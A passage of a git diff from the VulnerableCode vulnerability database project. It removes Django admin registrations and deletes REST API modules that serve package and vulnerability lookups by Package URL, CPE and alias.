diff --git a/vulnerabilities/admin.py b/vulnerabilities/admin.py index 558cd3f5d..aff2ad8a0 100644 --- a/vulnerabilities/admin.py +++ b/vulnerabilities/admin.py @@ -16,37 +16,12 @@ from django.core.validators import validate_email from vulnerabilities.models import ApiUser -from vulnerabilities.models import Package -from vulnerabilities.models import Vulnerability -from vulnerabilities.models import VulnerabilityReference -from vulnerabilities.models import VulnerabilitySeverity admin.site.site_header = "VulnerableCode Administration" admin.site.site_title = "VulnerableCode Admin Portal" admin.site.index_title = "Welcome to VulnerableCode Management" -@admin.register(Vulnerability) -class VulnerabilityAdmin(admin.ModelAdmin): - search_fields = ["vulnerability_id"] - - -@admin.register(VulnerabilityReference) -class VulnerabilityReferenceAdmin(admin.ModelAdmin): - search_fields = ["vulnerabilityrelatedreference__vulnerability__id", "reference_id", "url"] - - -@admin.register(Package) -class PackageAdmin(admin.ModelAdmin): - list_filter = ("type", "namespace") - search_fields = ["name"] - - -@admin.register(VulnerabilitySeverity) -class VulnerabilitySeverityAdmin(admin.ModelAdmin): - pass - - class ApiUserCreationForm(forms.ModelForm): """ This helps have a simplified creation for API-only users in the admin diff --git a/vulnerabilities/api.py b/vulnerabilities/api.py deleted file mode 100644 index d994b297d..000000000 --- a/vulnerabilities/api.py +++ /dev/null @@ -1,748 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -from urllib.parse import unquote - -from cvss.exceptions import CVSS2MalformedError -from cvss.exceptions import CVSS3MalformedError -from cvss.exceptions import CVSS4MalformedError -from django.db.models import Prefetch -from django_filters import rest_framework as filters -from drf_spectacular.utils import extend_schema -from packageurl import PackageURL -from packageurl import normalize_qualifiers -from rest_framework import serializers -from rest_framework import status -from rest_framework import viewsets -from rest_framework.decorators import action -from rest_framework.response import Response - -from vulnerabilities.models import Alias -from vulnerabilities.models import Exploit -from vulnerabilities.models import Package -from vulnerabilities.models import Vulnerability -from vulnerabilities.models import VulnerabilityReference -from vulnerabilities.models import VulnerabilitySeverity -from vulnerabilities.models import Weakness -from vulnerabilities.models import get_purl_query_lookups -from vulnerabilities.severity_systems import EPSS -from vulnerabilities.severity_systems import SCORING_SYSTEMS -from vulnerabilities.throttling import PermissionBasedUserRateThrottle -from vulnerabilities.utils import get_severity_range - - -class VulnerabilitySeveritySerializer(serializers.ModelSerializer): - class Meta: - model = VulnerabilitySeverity - fields = ["value", "scoring_system", "scoring_elements", "published_at"] - - def to_representation(self, instance): - data = super().to_representation(instance) - published_at = data.get("published_at", None) - if not published_at: - data.pop("published_at") - return data - - -class VulnerabilityReferenceSerializer(serializers.ModelSerializer): - scores = serializers.SerializerMethodField() - reference_url = serializers.CharField(source="url") - - class Meta: - model = VulnerabilityReference - fields = ["reference_url", "reference_id", "reference_type", "scores", "url"] - - def get_scores(self, instance): - severities_related_to_reference = [ - severity - for severity in self.context.get("severities", []) - if severity.url == instance.url - ] - - return VulnerabilitySeveritySerializer( - severities_related_to_reference, - many=True, - ).data - - -class BaseResourceSerializer(serializers.HyperlinkedModelSerializer): - """ - Base serializer containing common methods. - """ - - def get_fields(self): - fields = super().get_fields() - fields["resource_url"] = serializers.SerializerMethodField(method_name="get_resource_url") - return fields - - def get_resource_url(self, instance): - """ - Return the instance fully qualified URL including the schema and domain. - - Usage: - resource_url = serializers.SerializerMethodField() - """ - resource_url = instance.get_absolute_url() - - if request := self.context.get("request", None): - return request.build_absolute_uri(location=resource_url) - - return resource_url - - -class VulnVulnIDSerializer(serializers.Serializer): - """ - Serializer for the series of vulnerability IDs. - """ - - vulnerability = serializers.CharField(source="vulnerability_id") - - class Meta: - fields = ["vulnerability"] - - -class MinimalPackageSerializer(BaseResourceSerializer): - """ - Used for nesting inside vulnerability focused APIs. - """ - - affected_by_vulnerabilities = VulnVulnIDSerializer(source="affecting_vulns", many=True) - - purl = serializers.CharField(source="package_url") - - is_vulnerable = serializers.BooleanField() - - class Meta: - model = Package - fields = ["url", "purl", "is_vulnerable", "affected_by_vulnerabilities"] - - -class MinimalVulnerabilitySerializer(BaseResourceSerializer): - """ - Lookup vulnerabilities by aliases (such as a CVE). - """ - - class Meta: - model = Vulnerability - fields = ["url", "vulnerability_id"] - - -class AliasSerializer(serializers.HyperlinkedModelSerializer): - """ - Used for nesting inside package focused APIs. - """ - - class Meta: - model = Alias - fields = ["alias"] - - -class VulnSerializerRefsAndSummary(BaseResourceSerializer): - """ - Lookup vulnerabilities references by aliases (such as a CVE). - """ - - fixed_packages = MinimalPackageSerializer( - many=True, source="filtered_fixed_packages", read_only=True - ) - - references = serializers.SerializerMethodField() - - aliases = serializers.SerializerMethodField() - - def get_aliases(self, obj): - # Assuming `obj.aliases` is a queryset of `Alias` objects - return [alias.alias for alias in obj.aliases.all()] - - def get_references(self, vulnerability): - references = vulnerability.vulnerabilityreference_set.all() - severities = vulnerability.severities.all() - - serialized_references = VulnerabilityReferenceSerializer( - references, - context={"severities": severities}, - many=True, - ).data - - return serialized_references - - class Meta: - model = Vulnerability - fields = [ - "url", - "vulnerability_id", - "summary", - "references", - "fixed_packages", - "aliases", - "risk_score", - "exploitability", - "weighted_severity", - ] - - -class WeaknessSerializer(serializers.HyperlinkedModelSerializer): - """ - Used for nesting inside weakness focused APIs. - """ - - class Meta: - model = Weakness - fields = ["cwe_id", "name", "description"] - - def to_representation(self, instance): - """ - Override to include 'weakness' only if it is not None. - """ - representation = super().to_representation(instance) - if instance.weakness is None: - return None - return representation - - -class ExploitSerializer(serializers.ModelSerializer): - class Meta: - model = Exploit - fields = [ - "date_added", - "description", - "required_action", - "due_date", - "notes", - "known_ransomware_campaign_use", - "source_date_published", - "exploit_type", - "platform", - "source_date_updated", - "data_source", - "source_url", - ] - - -class VulnerabilitySerializer(BaseResourceSerializer): - fixed_packages = MinimalPackageSerializer( - many=True, source="filtered_fixed_packages", read_only=True - ) - affected_packages = MinimalPackageSerializer(many=True, read_only=True) - references = serializers.SerializerMethodField() - aliases = AliasSerializer(many=True, source="alias") - exploits = ExploitSerializer(many=True, read_only=True) - weaknesses = WeaknessSerializer(many=True) - severity_range_score = serializers.SerializerMethodField() - - def to_representation(self, instance): - data = super().to_representation(instance) - - weaknesses = data.get("weaknesses", []) - data["weaknesses"] = [weakness for weakness in weaknesses if weakness is not None] - - return data - - def get_references(self, vulnerability): - references = vulnerability.vulnerabilityreference_set.all() - severities = vulnerability.severities.all() - - serialized_references = VulnerabilityReferenceSerializer( - references, - context={"severities": severities}, - many=True, - ).data - - return serialized_references - - def get_severity_range_score(self, instance): - severity_vectors = [] - severity_values = set() - for s in instance.severities.all(): - if s.scoring_system == EPSS.identifier: - continue - - if s.scoring_elements and s.scoring_system in SCORING_SYSTEMS: - try: - vector_values = SCORING_SYSTEMS[s.scoring_system].get(s.scoring_elements) - severity_vectors.append(vector_values) - except ( - CVSS2MalformedError, - CVSS3MalformedError, - CVSS4MalformedError, - NotImplementedError, - ): - pass - - if s.value: - severity_values.add(s.value) - severity_range = get_severity_range(severity_values) - return severity_range - - class Meta: - model = Vulnerability - fields = [ - "url", - "vulnerability_id", - "summary", - "aliases", - "fixed_packages", - "affected_packages", - "references", - "weaknesses", - "exploits", - "severity_range_score", - "exploitability", - "weighted_severity", - "risk_score", - ] - - -class PackageSerializer(BaseResourceSerializer): - """ - Lookup software package using Package URLs - """ - - next_non_vulnerable_version = serializers.CharField(read_only=True) - latest_non_vulnerable_version = serializers.CharField(read_only=True) - - purl = serializers.CharField(source="package_url") - - affected_by_vulnerabilities = serializers.SerializerMethodField("get_affected_vulnerabilities") - - fixing_vulnerabilities = serializers.SerializerMethodField("get_fixing_vulnerabilities") - - qualifiers = serializers.SerializerMethodField() - - is_vulnerable = serializers.BooleanField() - - def get_qualifiers(self, package): - return normalize_qualifiers(package.qualifiers, encode=False) - - def get_fixed_packages(self, package): - """ - Return a queryset of all packages that fix a vulnerability with - same type, namespace, name, subpath and qualifiers of the `package` - """ - return ( - Package.objects.filter( - name=package.name, - namespace=package.namespace, - type=package.type, - qualifiers=package.qualifiers, - subpath=package.subpath, - fixingpackagerelatedvulnerability__isnull=False, - ) - .with_is_vulnerable() - .distinct() - ) - - def get_vulnerabilities_for_a_package(self, package, fix) -> dict: - """ - Return a mapping of vulnerabilities data related to the given `package`. - Return vulnerabilities that affect the `package` if given `fix` flag is False, - otherwise return vulnerabilities fixed by the `package`. - """ - fixed_packages = self.get_fixed_packages(package=package) - if not fix: - qs = package.affected_by_vulnerabilities.all() - else: - qs = package.fixing_vulnerabilities.all() - qs = qs.prefetch_related( - Prefetch( - "fixed_by_packages", - queryset=fixed_packages, - to_attr="filtered_fixed_packages", - ) - ) - return VulnSerializerRefsAndSummary( - instance=qs, - many=True, - context={"request": self.context["request"]}, - ).data - - def get_fixing_vulnerabilities(self, package) -> dict: - """ - Return a mapping of vulnerabilities fixed in the given `package`. - """ - # Ghost package should not fix any vulnerability. - if package.is_ghost: - return [] - - return self.get_vulnerabilities_for_a_package(package=package, fix=True) - - def get_affected_vulnerabilities(self, package) -> dict: - """ - Return a mapping of vulnerabilities that affect the given `package` (including packages that - fix each vulnerability and whose version is greater than the `package` version). - """ - excluded_purls = [] - package_vulnerabilities = self.get_vulnerabilities_for_a_package(package=package, fix=False) - - for vuln in package_vulnerabilities: - for pkg in vuln["fixed_packages"]: - real_purl = PackageURL.from_string(pkg["purl"]) - if package.version_class(real_purl.version) <= package.current_version: - excluded_purls.append(pkg) - - vuln["fixed_packages"] = [ - pkg for pkg in vuln["fixed_packages"] if pkg not in excluded_purls - ] - - return package_vulnerabilities - - class Meta: - model = Package - fields = [ - "url", - "purl", - "type", - "namespace", - "name", - "version", - "qualifiers", - "subpath", - "is_vulnerable", - "next_non_vulnerable_version", - "latest_non_vulnerable_version", - "affected_by_vulnerabilities", - "fixing_vulnerabilities", - "risk_score", - ] - - -class PackageFilterSet(filters.FilterSet): - purl = filters.CharFilter(method="filter_purl") - - class Meta: - model = Package - fields = [ - "type", - "namespace", - "name", - "version", - "qualifiers", - "subpath", - "purl", - ] - - def filter_purl(self, queryset, name, value): - purl = unquote(value) - try: - purl = PackageURL.from_string(purl) - - except ValueError as ve: - raise serializers.ValidationError( - detail={"error": f'"{purl}" is not a valid Package URL: {ve}'}, - ) - - lookups = get_purl_query_lookups(purl) - return self.queryset.filter(**lookups) - - -class PackageurlListSerializer(serializers.Serializer): - purls = serializers.ListField( - child=serializers.CharField(), - allow_empty=False, - help_text="List of PackageURL strings in canonical form.", - ) - - -class PackageBulkSearchRequestSerializer(PackageurlListSerializer): - purl_only = serializers.BooleanField(required=False, default=False) - plain_purl = serializers.BooleanField(required=False, default=False) - - -class LookupRequestSerializer(serializers.Serializer): - purl = serializers.CharField( - required=True, - help_text="PackageURL strings in canonical form.", - ) - - -class PackageViewSet(viewsets.ReadOnlyModelViewSet): - """ - Lookup for vulnerable packages by Package URL. - """ - - queryset = Package.objects.all() - serializer_class = PackageSerializer - filter_backends = (filters.DjangoFilterBackend,) - filterset_class = PackageFilterSet - throttle_classes = [PermissionBasedUserRateThrottle] - - def get_queryset(self): - return super().get_queryset().with_is_vulnerable() - - @extend_schema( - request=PackageBulkSearchRequestSerializer, - responses={200: PackageSerializer(many=True)}, - ) - @action( - detail=False, - methods=["post"], - serializer_class=PackageBulkSearchRequestSerializer, - filter_backends=[], - pagination_class=None, - ) - def bulk_search(self, request): - """ - Lookup for vulnerable packages using many Package URLs at once. - """ - serializer = self.serializer_class(data=request.data) - if not serializer.is_valid(): - return Response( - status=status.HTTP_400_BAD_REQUEST, - data={ - "error": serializer.errors, - "message": "A non-empty 'purls' list of PURLs is required.", - }, - ) - validated_data = serializer.validated_data - purls = validated_data.get("purls") - purl_only = validated_data.get("purl_only", False) - plain_purl = validated_data.get("plain_purl", False) - - if plain_purl: - purl_objects = [PackageURL.from_string(purl) for purl in purls] - plain_purl_objects = [ - PackageURL( - type=purl.type, - namespace=purl.namespace, - name=purl.name, - version=purl.version, - ) - for purl in purl_objects - ] - plain_purls = [str(purl) for purl in plain_purl_objects] - - query = ( - Package.objects.filter(plain_package_url__in=plain_purls) - .order_by("plain_package_url") - .distinct("plain_package_url") - .with_is_vulnerable() - ) - - if not purl_only: - return Response( - PackageSerializer(query, many=True, context={"request": request}).data - ) - - # using order by and distinct because there will be - # many fully qualified purl for a single plain purl - vulnerable_purls = query.vulnerable().only("plain_package_url") - vulnerable_purls = [str(package.plain_package_url) for package in vulnerable_purls] - return Response(data=vulnerable_purls) - - query = Package.objects.filter(package_url__in=purls).distinct().with_is_vulnerable() - - if not purl_only: - return Response(PackageSerializer(query, many=True, context={"request": request}).data) - - vulnerable_purls = query.vulnerable().only("package_url") - vulnerable_purls = [str(package.package_url) for package in vulnerable_purls] - return Response(data=vulnerable_purls) - - @action(detail=False, methods=["get"]) - def all(self, request): - """ - Return a list of Package URLs of vulnerable packages. - """ - vulnerable_purls = ( - Package.objects.vulnerable() - .only("package_url") - .order_by("package_url") - .distinct() - .values_list("package_url", flat=True) - ) - return Response(vulnerable_purls) - - @extend_schema( - request=LookupRequestSerializer, - responses={200: PackageSerializer(many=True)}, - ) - @action( - detail=False, - methods=["post"], - serializer_class=LookupRequestSerializer, - filter_backends=[], - pagination_class=None, - ) - def lookup(self, request): - """ - Return the response for exact PackageURL requested for. - """ - serializer = self.serializer_class(data=request.data) - if not serializer.is_valid(): - return Response( - status=status.HTTP_400_BAD_REQUEST, - data={ - "error": serializer.errors, - "message": "A 'purl' is required.", - }, - ) - validated_data = serializer.validated_data - purl = validated_data.get("purl") - - qs = self.get_queryset().for_purls([purl]).with_is_vulnerable() - return Response(PackageSerializer(qs, many=True, context={"request": request}).data) - - @extend_schema( - request=PackageurlListSerializer, - responses={200: PackageSerializer(many=True)}, - ) - @action( - detail=False, - methods=["post"], - serializer_class=PackageurlListSerializer, - filter_backends=[], - pagination_class=None, - ) - def bulk_lookup(self, request): - """ - Return the response for exact PackageURLs requested for. - """ - serializer = self.serializer_class(data=request.data) - if not serializer.is_valid(): - return Response( - status=status.HTTP_400_BAD_REQUEST, - data={ - "error": serializer.errors, - "message": "A non-empty 'purls' list of PURLs is required.", - }, - ) - validated_data = serializer.validated_data - purls = validated_data.get("purls") - - return Response( - PackageSerializer( - Package.objects.for_purls(purls).with_is_vulnerable(), - many=True, - context={"request": request}, - ).data - ) - - -class VulnerabilityFilterSet(filters.FilterSet): - class Meta: - model = Vulnerability - fields = ["vulnerability_id"] - - -class VulnerabilityViewSet(viewsets.ReadOnlyModelViewSet): - """ - Lookup for vulnerabilities affecting packages. - """ - - queryset = Vulnerability.objects.all() - - def get_fixed_packages_qs(self): - """ - Filter the packages that fixes a vulnerability - on fields like name, namespace and type. - """ - return ( - self.get_packages_qs() - .filter( - fixingpackagerelatedvulnerability__isnull=False, - is_ghost=False, - ) - .with_is_vulnerable() - ) - - def get_packages_qs(self): - """ - Filter the packages on type, namespace and name. - """ - query_params = self.request.query_params - package_filter_data = {} - for field_name in ("type", "namespace", "name"): - if value := query_params.get(field_name): - package_filter_data[field_name] = value - - return PackageFilterSet(package_filter_data).qs.with_is_vulnerable() - - def get_queryset(self): - """ - Assign filtered packages queryset from `get_fixed_packages_qs` - to a custom attribute `filtered_fixed_packages` - """ - return ( - super() - .get_queryset() - .prefetch_related( - "weaknesses", - "references", - "exploits", - "severities", - Prefetch( - "fixed_by_packages", - queryset=self.get_fixed_packages_qs(), - to_attr="filtered_fixed_packages", - ), - ) - ) - - serializer_class = VulnerabilitySerializer - filter_backends = (filters.DjangoFilterBackend,) - filterset_class = VulnerabilityFilterSet - throttle_classes = [PermissionBasedUserRateThrottle] - - -class CPEFilterSet(filters.FilterSet): - cpe = filters.CharFilter(method="filter_cpe") - - def filter_cpe(self, queryset, name, value): - cpe = unquote(value) - return self.queryset.filter(vulnerabilityreference__reference_id__startswith=cpe).distinct() - - -class CPEViewSet(VulnerabilityViewSet): - """Lookup for vulnerabilities by CPE (https://nvd.nist.gov/products/cpe)""" - - queryset = Vulnerability.objects.filter( - vulnerabilityreference__reference_id__startswith="cpe" - ).distinct() - - filterset_class = CPEFilterSet - - @action(detail=False, methods=["post"]) - def bulk_search(self, request): - """ - Lookup for vulnerabilities using many CPEs at once. - """ - cpes = request.data.get("cpes", []) or [] - if not cpes or not isinstance(cpes, list): - return Response( - status=400, - data={"Error": "A non-empty 'cpes' list of CPEs is required."}, - ) - for cpe in cpes: - if not cpe.startswith("cpe"): - return Response(status=400, data={"Error": f"Invalid CPE: {cpe}"}) - vulnerabilitiesResponse = Vulnerability.objects.filter( - vulnerabilityreference__reference_id__in=cpes - ).distinct() - return Response( - VulnerabilitySerializer( - vulnerabilitiesResponse, many=True, context={"request": request} - ).data - ) - - -class AliasFilterSet(filters.FilterSet): - alias = filters.CharFilter(method="filter_alias") - - def filter_alias(self, queryset, name, value): - alias = unquote(value) - return self.queryset.filter(aliases__alias__icontains=alias) - - -class AliasViewSet(VulnerabilityViewSet): - """ - Lookup for vulnerabilities by vulnerability aliases such as a CVE - (https://nvd.nist.gov/general/cve-process). - """ - - filterset_class = AliasFilterSet diff --git a/vulnerabilities/api_extension.py b/vulnerabilities/api_extension.py deleted file mode 100644 index 01d98ca99..000000000 --- a/vulnerabilities/api_extension.py +++ /dev/null @@ -1,422 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -from urllib.parse import unquote - -from django_filters import rest_framework as filters -from drf_spectacular.utils import extend_schema -from packageurl import PackageURL -from rest_framework import status -from rest_framework import viewsets -from rest_framework.decorators import action -from rest_framework.fields import CharField -from rest_framework.fields import ListField -from rest_framework.fields import SerializerMethodField -from rest_framework.response import Response -from rest_framework.serializers import HyperlinkedModelSerializer -from rest_framework.serializers import ModelSerializer -from rest_framework.serializers import Serializer -from rest_framework.serializers import ValidationError - -from vulnerabilities.api import BaseResourceSerializer -from vulnerabilities.models import Exploit -from vulnerabilities.models import Package -from vulnerabilities.models import Vulnerability -from vulnerabilities.models import VulnerabilityReference -from vulnerabilities.models import VulnerabilitySeverity -from vulnerabilities.models import Weakness -from vulnerabilities.models import get_purl_query_lookups -from vulnerabilities.throttling import PermissionBasedUserRateThrottle - - -class SerializerExcludeFieldsMixin: - """ - A Serializer mixin that takes an additional `exclude_fields` argument to - exclude specific fields from the serialized content. - - Useful for complex serialization where a subclass just needs one less field, like a URL field. - Inspired by https://www.django-rest-framework.org/api-guide/serializers/#example - """ - - def __init__(self, *args, **kwargs): - exclude_fields = kwargs.pop("exclude_fields", []) - - super().__init__(*args, **kwargs) - - for field_name in exclude_fields: - self.fields.pop(field_name) - - -class ExcludeFieldsSerializerMixin(Serializer): - """ - A base Serializer with an `exclude_fields` attribute to - exclude specific fields from the serialized content. - - Useful for complex serialization where a subclass just needs one less field, like a URL field. - Inspired by https://www.django-rest-framework.org/api-guide/serializers/#example - """ - - exclude_fields = [] - - def handle_field(self, obj, field): - """ - Exlude fields from serialization using the ``exclude_fields`` attribute. - """ - if field.name in self.exclude_fields: - return - super().handle_field(obj, field) - - -class V2VulnerabilityReferenceSerializer(ModelSerializer): - reference_url = CharField(source="url") - - class Meta: - model = VulnerabilityReference - fields = ("reference_url", "reference_id", "reference_type") - - -class V2VulnerabilitySeveritySerializer(ModelSerializer): - score = CharField(source="value") - - class Meta: - model = VulnerabilitySeverity - fields = ("url", "score", "scoring_system", "scoring_elements", "published_at") - - -class V2WeaknessSerializer(ModelSerializer): - class Meta: - model = Weakness - fields = ("cwe",) - - -class V2WeaknessFullSerializer(ModelSerializer): - class Meta: - model = Weakness - fields = ("cwe", "name", "description") - - -class V2ExploitSerializer(ModelSerializer): - class Meta: - model = Exploit - fields = [ - "date_added", - "description", - "required_action", - "due_date", - "notes", - "known_ransomware_campaign_use", - "source_date_published", - "exploit_type", - "platform", - "source_date_updated", - "data_source", - "source_url", - ] - - -class V2VulnerabilitySerializer(ModelSerializer): - """Vulnerabilities with inlined related objects, but no package.""" - - aliases = SerializerMethodField("get_aliases") - weaknesses = V2WeaknessSerializer(many=True, source="weaknesses_set") - references = V2VulnerabilityReferenceSerializer(many=True, source="vulnerabilityreference_set") - exploits = V2ExploitSerializer(many=True, source="weaknesses") - severities = V2VulnerabilitySeveritySerializer(many=True) - - def get_aliases(self, vulnerability): - return vulnerability.aliases.only("alias").values_list("alias", flat=True) - - def get_cwes(self, vulnerability): - return [ - w.cwe for w in vulnerability.weaknesses.only("cwe_id").values_list("cwe_id", flat=True) - ] - - class Meta: - model = Vulnerability - fields = ( - "vulnerability_id", - "aliases", - "status", - "weaknesses", - "summary", - "exploits", - "references", - "severities", - ) - - -class V2LinkedVulnerabilitySerializer(V2VulnerabilitySerializer, HyperlinkedModelSerializer): - """Vulnerabilities with a URL.""" - - class Meta: - model = Vulnerability - fields = ("url",) + V2VulnerabilitySerializer.Meta.fields - - -class V2PackageSerializer(BaseResourceSerializer): - """Package with inlined related vulnerability ids, but no other nested data.""" - - purl = CharField(source="package_url") - next_non_vulnerable_version = SerializerMethodField("get_next_non_vuln_version") - latest_non_vulnerable_version = SerializerMethodField("get_latest_non_vuln_version") - affected_by_vulnerabilities = SerializerMethodField("get_affected_by_vulns") - fixing_vulnerabilities = SerializerMethodField("get_fixing_vulns") - - class Meta: - model = Package - fields = ( - "purl", - "type", - "namespace", - "name", - "version", - "qualifiers", - "subpath", - "next_non_vulnerable_version", - "latest_non_vulnerable_version", - "affected_by_vulnerabilities", - "fixing_vulnerabilities", - ) - - def get_next_non_vuln_version(self, package): - if next_non_vulnerable := package.fixed_package_details.get("next_non_vulnerable"): - return next_non_vulnerable.version - - def get_latest_non_vuln_version(self, package): - if latest_non_vulnerable := package.fixed_package_details.get("latest_non_vulnerable"): - return latest_non_vulnerable.version - - def get_fixing_vulns(self, package) -> dict: - return package.fixing_vulnerabilities.only("vulnerability_id").values_list( - "vulnerability_id" - ) - - def get_affected_by_vulns(self, package) -> dict: - return package.affected_by_vulnerabilities.only("vulnerability_id").values_list( - "vulnerability_id" - ) - - -class V2LinkedPackageSerializer(V2PackageSerializer, HyperlinkedModelSerializer): - """Serialize package with a URL.""" - - class Meta: - model = Package - fields = ("url",) + V2PackageSerializer.Meta.fields - - -class V2PackageurlListSerializer(Serializer): - """List of purls.""" - - purls = ListField(child=CharField(), allow_empty=False, help_text="List of PackageURLs.") - - -class V2LookupRequestSerializer(Serializer): - """Single purl.""" - - purl = CharField(required=True, help_text="PackageURL string.") - - -class V2PackageFilterSet(filters.FilterSet): - purl = filters.CharFilter(method="filter_purl") - - class Meta: - model = Package - fields = [ - "type", - "namespace", - "name", - "version", - "qualifiers", - "subpath", - "purl", - ] - - def filter_purl(self, queryset, name, value): - purl = unquote(value) - try: - purl = PackageURL.from_string(purl) - - except ValueError as ve: - raise ValidationError( - detail={"error": f'"{purl}" is not a valid Package URL: {ve}'}, - ) - - lookups = get_purl_query_lookups(purl) - return self.queryset.filter(**lookups) - - -class V2PackageViewSet(viewsets.ReadOnlyModelViewSet): - queryset = Package.objects.all() - serializer_class = V2LinkedPackageSerializer - lookup_field = "purl" - filter_backends = (filters.DjangoFilterBackend,) - filterset_class = V2PackageFilterSet - throttle_classes = [PermissionBasedUserRateThrottle] - - def get_queryset(self): - return super().get_queryset().with_is_vulnerable().prefetch_related("vulnerabilities") - - @action(detail=False, methods=["get"]) - def all(self, request): - """ - Return vulnerable package PURLs. - """ - vulnerable_purls = ( - Package.objects.vulnerable() - .only("package_url") - .order_by("package_url") - .distinct() - .values_list("package_url") - ) - return Response(vulnerable_purls) - - @extend_schema( - request=V2LookupRequestSerializer, - responses={200: V2PackageSerializer(many=True)}, - ) - @action( - detail=False, - methods=["post"], - serializer_class=V2LookupRequestSerializer, - filter_backends=[], - ) - def lookup(self, request): - """ - Return packages for a single PURL. - """ - return self._do_lookup(request, field="") - - @extend_schema( - request=V2PackageurlListSerializer, - responses={200: V2PackageSerializer(many=True)}, - ) - @action( - detail=False, - methods=["post"], - serializer_class=V2PackageurlListSerializer, - filter_backends=[], - ) - def bulk_lookup(self, request): - """ - Return packages for a list of PURLs. - """ - return self._do_lookup(request, field="purls") - - def _do_lookup(self, request, field): - assert field in ("purl", "purls") - serializer = self.serializer_class(data=request.data) - if not serializer.is_valid(): - message = ("A 'purl' or 'purls' list is required.",) - return Response( - status=status.HTTP_400_BAD_REQUEST, - data={"error": serializer.errors, "message": message}, - ) - validated_data = serializer.validated_data - purls = validated_data.get(field) - - if field == "purl": - purls = [purls] - qs = Package.objects.for_purl(purls).with_is_vulnerable() - - return Response(V2PackageSerializer(qs, many=True, context={"request": request}).data) - - -class V2VulnerabilityFilterSet(filters.FilterSet): - class Meta: - model = Vulnerability - fields = ["vulnerability_id"] - - -class VulnerabilityViewSet(viewsets.ReadOnlyModelViewSet): - """ - Lookup for vulnerabilities by id. - """ - - queryset = Vulnerability.objects.all() - serializer_class = V2VulnerabilitySerializer - lookup_field = "vulnerability_id" - filter_backends = (filters.DjangoFilterBackend,) - filterset_class = V2VulnerabilityFilterSet - throttle_classes = [PermissionBasedUserRateThrottle] - - def get_queryset(self): - """ - Assign filtered packages queryset from `get_fixed_packages_qs` - to a custom attribute `filtered_fixed_packages` - """ - return ( - super() - .get_queryset() - .prefetch_related( - "weaknesses", - "severities", - # "exploits", - ) - ) - - -class CPEFilterSet(filters.FilterSet): - cpe = filters.CharFilter(method="filter_cpe") - - def filter_cpe(self, queryset, name, value): - cpe = unquote(value) - return self.queryset.filter(vulnerabilityreference__reference_id__startswith=cpe).distinct() - - -class CPEViewSet(viewsets.ReadOnlyModelViewSet): - """ - Search for vulnerabilities by CPE (https://nvd.nist.gov/products/cpe) - """ - - queryset = Vulnerability.objects.filter( - vulnerabilityreference__reference_id__startswith="cpe" - ).distinct() - serializer_class = V2VulnerabilitySerializer - filter_backends = (filters.DjangoFilterBackend,) - throttle_classes = [PermissionBasedUserRateThrottle] - filterset_class = CPEFilterSet - - @action(detail=False, methods=["post"]) - def bulk_search(self, request): - """ - Search for vulnerabilities referencing any of list of CPEs. - """ - cpes = request.data.get("cpes", []) or [] - if not cpes or not isinstance(cpes, list): - return Response( - status=400, - data={"Error": "A non-empty 'cpes' list of CPEs is required."}, - ) - for cpe in cpes: - if not cpe.startswith("cpe"): - return Response(status=400, data={"Error": f"Invalid CPE: {cpe}"}) - qs = Vulnerability.objects.filter(vulnerabilityreference__reference_id__in=cpes).distinct() - return Response(V2VulnerabilitySerializer(qs, many=True, context={"request": request}).data) - - -class AliasFilterSet(filters.FilterSet): - alias = filters.CharFilter(method="filter_alias") - - def filter_alias(self, queryset, name, value): - alias = unquote(value) - return self.queryset.filter(aliases__alias__icontains=alias) - - -class AliasViewSet(viewsets.ReadOnlyModelViewSet): - """ - Lookup for vulnerabilities by vulnerability aliases such as a CVE - (https://nvd.nist.gov/general/cve-process). - """ - - queryset = Vulnerability.objects.all() - serializer_class = V2VulnerabilitySerializer - filter_backends = (filters.DjangoFilterBackend,) - filterset_class = AliasFilterSet - throttle_classes = [PermissionBasedUserRateThrottle] diff --git a/vulnerabilities/api_v2.py b/vulnerabilities/api_v2.py deleted file mode 100644 index d16fbf61c..000000000 --- a/vulnerabilities/api_v2.py +++ /dev/null @@ -1,851 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - - -from django.db.models import Prefetch -from django.db.models import Q -from django_filters import rest_framework as filters -from drf_spectacular.utils import OpenApiParameter -from drf_spectacular.utils import extend_schema -from drf_spectacular.utils import extend_schema_view -from packageurl import PackageURL -from rest_framework import mixins -from rest_framework import serializers -from rest_framework import status -from rest_framework import viewsets -from rest_framework.authentication import SessionAuthentication -from rest_framework.decorators import action -from rest_framework.permissions import BasePermission -from rest_framework.response import Response -from rest_framework.reverse import reverse -from rest_framework.throttling import AnonRateThrottle - -from vulnerabilities.models import CodeFix -from vulnerabilities.models import CodeFixV2 -from vulnerabilities.models import Package -from vulnerabilities.models import PipelineRun -from vulnerabilities.models import PipelineSchedule -from vulnerabilities.models import Vulnerability -from vulnerabilities.models import VulnerabilityReference -from vulnerabilities.models import VulnerabilitySeverity -from vulnerabilities.models import Weakness -from vulnerabilities.throttling import PermissionBasedUserRateThrottle - - -class CharInFilter(filters.BaseInFilter, filters.CharFilter): - pass - - -class WeaknessV2Serializer(serializers.ModelSerializer): - cwe_id = serializers.CharField() - name = serializers.CharField() - description = serializers.CharField() - - class Meta: - model = Weakness - fields = ["cwe_id", "name", "description"] - - -class VulnerabilityReferenceV2Serializer(serializers.ModelSerializer): - url = serializers.CharField() - reference_type = serializers.CharField() - reference_id = serializers.CharField() - - class Meta: - model = VulnerabilityReference - fields = ["url", "reference_type", "reference_id"] - - -class VulnerabilitySeverityV2Serializer(serializers.ModelSerializer): - class Meta: - model = VulnerabilitySeverity - fields = ["url", "value", "scoring_system", "scoring_elements", "published_at"] - - def to_representation(self, instance): - data = super().to_representation(instance) - published_at = data.get("published_at", None) - if not published_at: - data.pop("published_at") - return data - - -class 